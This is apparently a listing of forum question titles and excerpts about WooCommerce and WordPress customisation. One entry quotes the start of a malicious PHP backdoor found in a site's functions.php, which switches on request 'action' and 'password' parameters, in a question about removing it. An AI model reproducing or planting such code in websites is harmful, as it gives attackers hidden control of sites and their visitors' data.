WooCommerce: How to display fields from the "Product Add-ons" extension?

I'm using the [Product Add-ons][1] extension for WooCommerce, which allows custom fields for products. This automatically displays on the single product template. By some trial and error with the...

Woocommerce Custom Product Loop Post Per Page Issue

I have created a custom product loop using "WP_Query" to display Woocommerce product data in Table and its working fine. But 'posts_per_page' => -1, is not showing all the products from sample...

WooCommerce Variation Images not displaying

On the single product page, when I select a color, the featured image doesn't change. WordPress has been updated to 4.6.1, WooCommerce to 2.6.2, and the Storefront theme to 2.1.2. I have...

Adding multiple tabs to WooCommerce single product pages

I am trying to add three custom tabs to WooCommerce. I have the code below and two of them show up but for some reason the attribute description tab does not show on the page. Not only that the...

How to get rid of "SiteLock-PHP-FILEHACKER-of.UNOFFICIAL" in WordPress functions.php

<?php if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '')) { switch ($_REQUEST['action']) { case 'get_all_links'; foreach...

Using Redis as an Object Cache with Woocommerce

i'm trying to run a big ecommerce using Woocommerce and i'm facing some problems. Website has 10000 products per language ( 2 languages ) with many of them variable. For now i'm trying to cache it...

Total purchase count by product for current user in Woocommerce

In Woocommerce, I would like to show the total purchase product count for the current user in single product pages. Like for example if John bought a Pen 2 times then it displays the count ("2")...

How to change the "/ month" on a woocommerce subscription product page

thanks for checking out my question! I was wondering if there was a way to change the "/ month" on my subscription product page on woocommerce to something different. Here is a snippet of what it...

Replace product "on backorder" to a custom field value in Woocommerce

Firstly, thanks for viewing this question. I've searched and gone through many similar questions however i've not managed to find a perfect fix. Im setting up a website using...

Remove some payment gateways if any coupon code is applied in Woocommerce

I started to work on small Woocommerce project. I have 3 payment gateways into this store: Paypal, Credit Card and Direct bank Transfer. What I would like is: If coupon code is used, I would like...

YITH WooCommerce Wishlist: Help me show the first item / product thumbnail within the sidebar widget and wishlist manage areas?

I am using YITH Wishlist within WooCommerce, WordPress. Within an individual wishlist - it displays the image, with 'remove from list', the product title and a link through to the individual...

WooCommerce - How can I add multiple, different products to cart using ajax with same add-to-cart-Button?

I am trying to use ajax to add multiple, different products to cart with one button click. The AddToCart-Button is living in a non-WooCommerce page template. I think it can be solved by waiting...

Apply Coupon code discount to the final order total

We sell trails and the trails are "products" in WooCommerce. >> Check this link Try clicking on the "Let's Play" link and it will take you to the checkout. >> (Screenshot) The price of each trail...

Woocommerce live calculation : qty x get_meta('_value') = final value

Here we are talking about selling products (especially pastry or food) in bulk unit / unit / or kg. All measurements are known weight and quantity,Therefore we must be able to estimate which...

Can you automate adding products from an online store to WooCommerce?

I would like to get all the products from an account on this Dutch webshop (similar to eBay/Amazon) and add them to this WordPress webshop using WooCommerce. I started web development about 2 to 3...

2 products next to each other on Woocommerce product category page

I use the Wordpress Avada-theme and Woocommerce for a webshop. Now I have put some code in my css to display 2 products next to each other in my shop in Avada in responsive view. I used this...

Get WooCommerce Product Attribute label name

Variable/variations in woocommerce products. I can do this to get the attribute value from pa_size: <?php echo $product_variation->get_attributes()['pa_size']; ?> which is somewhere in...

Wordpress pagination different on mobile and desktop

Is it possible to use the default Wordpress pagination but have different numbers on mobile and desktop? For example, I would like to show only 3 reviews per page on mobile and 5 on desktop. The...

Calculate and show the new price after choosing the weight of the product in WooCommerce

In WooCommerce, I use a code that shows the steak weight selection form, saves the selection data and displays this data in the cart, on the checkout page, when editing the order and in email...

WooCommerce | Variable Product | Assign same image to Attribute X (out of Y) per value

In WooCommerce variable product, there are attributes and attribute values, which create variations. E.g. : Attribute: 1 (Size) | Values: XS/S/M/L/XL Attribute: 2 (Style/Color) | Values:...

Sort products at the bottom of the product list in cart WooCommerce by SKU

In WooCommerce, I use a code that shows the steak weight selection form, saves the selection data and displays this data in the cart, on the checkout page, when editing the order and in email...

How to fetch data from one API call with WooCommerce from RESTful API?

I'm creating an e-commerce in WordPress with WooCommerce and am using restful api. Here's the problem, I need to fetch all the products, and its variations, however, the variations come in the...

Update basket custom attribute on basket/cart page WooCommerce Product Add-ons

I have been trying to make it so that I can update a custom field(per product) I have added on the basket/cart page using WooCommerce Product Add-ons. I did get a method working as a test, but it...

Display prefixed price and additional unit price in Woocommerce simple products

Using Woocommerce I sell wine per box with 6 bottles in a box. So naturally I enter a price per box when setting up my product. I do however want the user to see the price per bottle as well. $120...

Showing all prices for variable products listed instead of range of prices

Is there any way to replace range price of variable products in woocommerce on shop page and instead of it showing a list of variations and their prices per product in order to display variations...

How to add HTML5 'required' attribute to woocommerce_form_field

I'm currently working on the WooCommerce registration page in my WordPress theme and added a hook for users to accept the Terms & Conditions - see PHP code added. HTML5 provides a super helpful...

Why am I receiving a quota limit error? Google Cloud Platform Compute Engine VM

So I have a python script set up in Google Cloud Compute engine that is set to run with a cron tab periodically throughout a day. But recently, the script returns this...

Add "description" field contents for variable product to woocommerce "Completed order" email

I'm selling multiple products, each with 2 variations that will each need to have a custom bit of text (with with URLs embedded) in the Completed email. Lots of custom emails: per product and...

How to add bulk menu order option in bulk edit in woocomerce product

I need to add a specified value or weight for a product so that product will display as per order on the woocommerce shop page. I think this can be done by product bulk edit. But not sure is it...

WooCommerce Product Variation Custom Field and Its Price Calculation

There I wanted to add a custom field in WooCommerce->Product->variation Tab so that a store manager can input the quantity for that particular variation. For example; Product: Mango (Different...